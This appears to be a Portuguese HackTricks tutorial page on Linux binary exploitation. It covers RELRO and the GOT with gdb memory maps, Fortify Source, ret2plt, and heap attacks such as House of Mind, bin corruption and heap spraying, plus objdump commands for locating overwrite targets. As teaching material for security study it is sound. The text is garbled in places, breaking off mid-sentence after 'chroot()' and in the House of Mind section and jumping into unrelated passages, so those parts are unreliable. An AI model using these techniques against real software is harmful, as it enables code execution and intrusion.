0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw- 0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack] 0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall] gef➤ p fgets $2 = {char *(char *, int, FILE *)} 0x7ffff7e4d100 <_IO_fgets> gef➤ search-pattern 0x7ffff7e4d100 [+] Searching '\x00\xd1\xe4\xf7\xff\x7f' in memory [+] In '/tmp/tryc'(0x555555557000-0x555555558000), permission=r-- 0x555555557fd0 - 0x555555557fe8 → "\x00\xd1\xe4\xf7\xff\x7f[...]" ``` Sem relro: ```bash gef➤ vmmap Start End Offset Perm Path 0x0000000000400000 0x0000000000401000 0x0000000000000000 r-- /tmp/try 0x0000000000401000 0x0000000000402000 0x0000000000001000 r-x /tmp/try 0x0000000000402000 0x0000000000403000 0x0000000000002000 r-- /tmp/try 0x0000000000403000 0x0000000000404000 0x0000000000002000 r-- /tmp/try 0x0000000000404000 0x0000000000405000 0x0000000000003000 rw- /tmp/try 0x0000000000405000 0x0000000000426000 0x0000000000000000 rw- [heap] 0x00007ffff7dcb000 0x00007ffff7df0000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7df0000 0x00007ffff7f63000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7f63000 0x00007ffff7fac000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7fac000 0x00007ffff7faf000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7faf000 0x00007ffff7fb2000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7fb2000 0x00007ffff7fb8000 0x0000000000000000 rw- 0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar] 0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso] 0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw- 0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack] 0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall] gef➤ p fgets $2 = {char *(char *, int, FILE *)} 0x7ffff7e4d100 <_IO_fgets> gef➤ search-pattern 0x7ffff7e4d100 [+] Searching '\x00\xd1\xe4\xf7\xff\x7f' in memory [+] In '/tmp/try'(0x404000-0x405000), permission=rw- 0x404018 - 0x404030 → "\x00\xd1\xe4\xf7\xff\x7f[...]" ``` Para o binário **sem relro**, podemos ver que o endereço da entrada `got` para `fgets` é `0x404018`. Olhando para os mapeamentos de memória, vemos que ele está entre `0x404000` e `0x405000`, que tem as **permissões `rw`**, o que significa que podemos ler e escrever nele. Para o binário **com relro**, vemos que o endereço da tabela `got` para a execução do binário (pie está habilitado, então esse endereço mudará) é `0x555555557fd0`. No mapeamento de memória desse binário, ele está entre `0x0000555555557000` e `0x0000555555558000`, que tem a memória com a **permissão `r`**, o que significa que só podemos ler dele. Então, qual é a **maneira de contornar**? O contorno típico que uso é simplesmente não escrever em regiões de memória que o relro faz ser somente leitura e **encontrar uma maneira diferente de obter a execução de código**. Observe que, para que isso aconteça, o binário precisa saber antes da execução os endereços das funções: * Lazy binding: o endereço de uma função é procurado na primeira vez que a função é chamada. Portanto, a `GOT` precisa ter permissões de gravação durante a execução. * Bind now: os endereços das funções são resolvidos no início da execução e, em seguida, são dadas permissões somente leitura a seções sensíveis como .got, .dtors, .ctors, .dynamic, .jcr. `` `** ``-z relro`**`y`**`-z now\`\*\* Para verificar se um programa usa Bind now, você pode fazer: ```bash readelf -l /proc/ID_PROC/exe | grep BIND_NOW ``` Quando o binário é carregado na memória e uma função é chamada pela primeira vez, ele salta para a PLT (Procedure Linkage Table), daqui é feito um salto (jmp) para a GOT e descobre que essa entrada não foi resolvida (contém um endereço seguinte da PLT). Então, invoca o Runtime Linker ou rtfd para resolver o endereço e salvá-lo na GOT. Quando uma função é chamada, a PLT é chamada, ela tem o endereço da GOT onde o endereço da função é armazenado, então redireciona o fluxo para lá e assim a função é chamada. No entanto, se for a primeira vez que a função é chamada, o que está na GOT é a próxima instrução da PLT, portanto, o fluxo segue o código da PLT (rtfd) e descobre o endereço da função, salva na GOT e chama. Ao carregar um binário na memória, o compilador disse em que offset deve colocar os dados que devem ser carregados quando o programa é executado. Lazy binding -> O endereço da função é procurado na primeira vez que essa função é chamada, então a GOT tem permissões de gravação para que, quando procurada, seja salva lá e não precise ser procurada novamente. Bind now -> Os endereços das funções são procurados ao carregar o programa e as permissões das seções .got, .dtors, .ctors, .dynamic, .jcr são alteradas para somente leitura. **-z relro** e **-z now** Apesar disso, em geral, os programas não são complicados com essas opções, então esses ataques ainda são possíveis. **readelf -l /proc/ID_PROC/exe | grep BIND_NOW** -> Para saber se usam o BIND NOW **Fortify Source -D_FORTIFY_SOURCE=1 ou =2** Tenta identificar as funções que copiam de um lugar para outro de forma insegura e trocar a função por uma função segura. Por exemplo:\ char buf\[16];\ strcpy(but, source); Identifica como inseguro e, em seguida, troca strcpy() por \_\_strcpy\_chk() usando o tamanho do buffer como tamanho máximo a ser copiado. A diferença entre **=1** ou **=2** é que: A segunda não permite que **%n** venha de uma seção com permissões de gravação. Além disso, o parâmetro para acesso direto de argumentos só pode ser usado se os anteriores forem usados, ou seja, só pode usar **%3$d** se antes tiver usado **%2$d** e **%1$d** Para mostrar a mensagem de erro, usa-se o argv\[0\], então, se colocar nele o endereço de outro lugar (como uma variável global), a mensagem de erro mostrará o conteúdo dessa variável. Página 191 **Substituição do Libsafe** Ativado com: LD\_PRELOAD=/lib/libsafe.so.2\ ou\ “/lib/libsave.so.2” > /etc/ld.so.preload Intercepta as chamadas a algumas funções inseguras por outras seguras. Não é padronizado. (apenas para x86, não para compilações com -fomit-frame-pointer, não compilações estáticas, nem todas as funções vulneráveis se tornam seguras e LD\_PRELOAD não funciona em binários com suid). **ASCII Armored Address Space** Consiste em carregar as bibliotecas compartilhadas de 0x00000000 a 0x00ffffff para que sempre haja um byte 0x00. No entanto, isso realmente não impede quase nenhum ataque, e menos em little endian. **ret2plt** Consiste em realizar um ROP de forma que se chame a função strcpy@plt (da plt) e se aponte para a entrada da GOT e se copie o primeiro byte da função para a qual se quer chamar (system()). Em seguida, faz-se o mesmo apontando para GOT+1 e copia-se o segundo byte de system()... No final, chama-se o endereço armazenado na GOT que será system() **Falso EBP** Para as funções que usam o EBP como registro para apontar para os argumentos ao modificar o EIP e apontar para system(), o EBP também deve ter sido modificado para apontar para uma área de memória que tenha 2 bytes quaisquer e, em seguida, o endereço a &”/bin/sh”. **Jaulas com chroot()** de No caso de querer reutilizá-lo, seria atribuído sem problemas. No caso de querer usar outro, seria atribuído o mesmo espaço, então teríamos os ponteiros "fd" e "bk" falsificados com os dados que a reserva anterior escreveu. **After free()** Um ponteiro previamente liberado é usado novamente sem controle. ## **8 Heap Overflows: Exploits avançados** As técnicas Unlink() e FrontLink() foram eliminadas ao modificar a função unlink(). **The house of mind** Apenas uma chamada a free() é necessária para provocar a execução de código arbitrário. Interessa buscar um segundo pedaço que pode ser desbordado por um anterior e liberado. Uma chamada a free() provoca chamar public\_fREe(mem), este faz: mstate ar\_ptr; mchunkptr p; … p = mem2chunk(mes); —> Devolve um ponteiro para o endereço onde começa o pedaço (mem-8) … ar\_ptr = arena\_for\_chunk(p); —> chunk\_non\_main\_arena(ptr)?heap\_for\_ptr(ptr)->ar\_ptr:\&main\_arena \[1] … \_int\_free(ar\_ptr, mem); } Em \[1] verifica o campo size do bit NON\_MAIN\_ARENA, o qual pode ser alterado para que a verificação retorne verdadeiro e execute heap\_for\_ptr() que faz um and em "mem" deixando os 2,5 bytes menos importantes como 0 (no nosso caso de 0x0804a000 deixa 0x08000000) e acessa 0x08000000->ar\_ptr (como se fosse um struct heap\_info). Desta forma, se pudermos controlar um pedaço, por exemplo em 0x0804a000 e um pedaço em **0x081002a0** for liberado, podemos chegar ao endereço 0x08100000 e escrever o que quisermos, por exemplo **0x0804a000**. Quando este segundo pedaço for liberado, encontrará que heap\_for\_ptr(ptr)->ar\_ptr retorna o que escrevemos em 0x08100000 (pois é aplicado a 0x081002a0 o and que vimos antes e daí se obtém o valor dos 4 primeiros bytes, o ar\_ptr). Desta forma, chama-se \_int\_free(ar\_ptr, mem), ou seja, **\_int\_free(0x0804a000, 0x081002a0)**\ **\_int\_free(mstate av, Void\_t\* mem){**\ …\ bck = unsorted\_chunks(av);\ fwd = bck->fd;\ p->bk = bck;\ p->fd = fwd;\ bck->fd = p;\ fwd->bk = p; ..} Como vimos antes, podemos controlar o valor de av, pois é o que escrevemos no pedaço que será liberado. Tal como se define unsorted\_chunks, sabemos que:\ bck = \&av->bins\[2]-8;\ fwd = bck->fd = \*(av->bins\[2]);\ fwd->bk = \*(av->bins\[2] + 12) = p; Portanto, se escrevermos em av->bins\[2] o valor de \_\_DTOR\_END\_\_-12 na última instrução, será escrito em \_\_DTOR\_END\_\_ o endereço do segundo pedaço. Ou seja, no primeiro pedaço temos que colocar no início muitas vezes o endereço de \_\_DTOR\_END\_\_-12 porque é de lá que av->bins\[2] o extrairá. No endereço em que o endereço do segundo pedaço cair com os últimos 5 zeros, deve-se escrever o endereço deste primeiro pedaço para que heap\_for\_ptr() pense que o ar\_ptr está no início do primeiro pedaço e retire de lá o av->bins\[2]. No segundo pedaço e graças ao primeiro, sobrescrevemos o prev\_size com um jump 0x0c e o size com algo para ativar -> NON\_MAIN\_ARENA. A seguir, no pedaço 2, colocamos um monte de nops e, finalmente, a shellcode. Desta forma, ch bin->bk = bck; O penúltimo pedaço se torna o último, caso bck aponte para a pilha no próximo pedaço reservado, ele receberá este endereço. bck->fd = bin; A lista é fechada fazendo com que ela aponte para bin. São necessários: Dois mallocs devem ser reservados, de modo que o primeiro possa ser estourado depois que o segundo tenha sido liberado e introduzido em seu bin (ou seja, um malloc maior que o segundo pedaço deve ser reservado antes de estourar). O malloc reservado para o qual o atacante escolheu o endereço deve ser controlado pelo atacante. O objetivo é o seguinte: se pudermos estourar um heap que tenha um pedaço liberado abaixo dele e em seu bin, podemos alterar seu ponteiro bk. Se alterarmos seu ponteiro bk e esse pedaço se tornar o primeiro da lista de bin e for reservado, bin será enganado e será informado de que o último pedaço da lista (o próximo a ser oferecido) está no endereço falso que escolhemos (na pilha ou GOT, por exemplo). Portanto, se outro pedaço for reservado e o atacante tiver permissões nele, ele receberá um pedaço na posição desejada e poderá escrever nela. Depois de liberar o pedaço modificado, é necessário reservar um pedaço maior do que o liberado, para que o pedaço modificado saia dos unsorted bins e seja introduzido em seu bin. Uma vez em seu bin, é hora de modificar seu ponteiro bk por meio do estouro para que ele aponte para o endereço que queremos sobrescrever. Assim, o bin deve esperar sua vez até que malloc() seja chamado várias vezes para que o bin modificado seja usado novamente e engane bin fazendo-o acreditar que o próximo pedaço está no endereço falso. E então o pedaço que nos interessa será dado. Para que a vulnerabilidade seja executada o mais rápido possível, o ideal seria: reserva do pedaço vulnerável, reserva do pedaço que será modificado, este pedaço é liberado, um pedaço maior do que o que será modificado é reservado, o pedaço é modificado (vulnerabilidade), um pedaço do mesmo tamanho que o vulnerável é reservado e um segundo pedaço do mesmo tamanho é reservado e este será o que aponta para o endereço escolhido. Para proteger esse ataque, é usada a verificação típica de que o pedaço "não" é falso: verifica-se se bck->fd está apontando para victim. Ou seja, em nosso caso, se o ponteiro fd\* do pedaço falso apontado na pilha está apontando para victim. Para ultrapassar essa proteção, o atacante deve ser capaz de escrever de alguma forma (provavelmente na pilha) no endereço adequado o endereço de victim. Para que pareça um pedaço verdadeiro. **Corrupção LargeBin** São necessários os mesmos requisitos que antes e alguns mais, além disso, os pedaços reservados devem ser maiores que 512. O ataque é como o anterior, ou seja, é necessário modificar o ponteiro bk e todas essas chamadas a malloc(), mas também é necessário modificar o tamanho do pedaço modificado de forma que esse tamanho - nb seja < MINSIZE. Por exemplo, colocar em tamanho 1552 para que 1552 - 1544 = 8 < MINSIZE (a subtração não pode ser negativa porque um unsigned é comparado) Além disso, um patch foi introduzido para torná-lo ainda mais complicado. **Heap Spraying** Basicamente, consiste em reservar toda a memória possível para heaps e preenchê-los com um colchão de nops terminados por uma shellcode. Além disso, como colchão, usa-se 0x0c. Pois tentaremos saltar para o endereço 0x0c0c0c0c, e assim, se algum ponteiro for sobrescrito e chamado com este colchão, ele saltará para lá. Basicamente, a tática é reservar o máximo possível para ver se algum ponteiro é sobrescrito e saltar para 0x0c0c0c0c esperando que haja nops lá. **Heap Feng Shui** Consiste em semear a memória por meio de reservas e liberações de forma que pedaços reservados fiquem entre pedaços livres. O buffer a ser estourado será colocado em um dos ovos. **objdump -d executable** —> Disas functions\ **objdump -d ./PROGRAMA | grep FUNCION** —> Obter o endereço da função\ **objdump -d -Mintel ./shellcodeout** —> Para ver se é realmente nossa shellcode e obter os OpCodes\ **objdump -t ./exec | grep varBss** —> Tabela de símbolos, para obter o endereço de variáveis e funções\ **objdump -TR ./exec | grep exit(func lib)** —> Para obter o endereço de funções de bibliotecas (GOT)\ **objdump -d ./exec | grep funcCode**\ **objdump -s -j .dtors /exec**\ **objdump -s -j .got ./exec**\ **objdump -t --dynamic-relo ./exec | grep puts** —> Obtém o endereço de puts a ser sobrescrito no GOT\ **objdump -D ./exec** —> Disas ALL até as entradas da plt\ **objdump -p -/exec**\ **Info functions strncmp —>** Informações da função no gdb ## Cursos interessantes * [https://guyinatuxedo.github.io/](https://guyinatuxedo.github.io) * [https://github.com/RPISEC/MBE](https://github.com/RPISEC/MBE) ## **Referências** * [**https://guyinatuxedo.github.io/7.2-mitigation\_relro/index.html**](https://guyinatuxedo.github.io/7.2-mitigation\_relro/index.html)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! * Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com) * **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).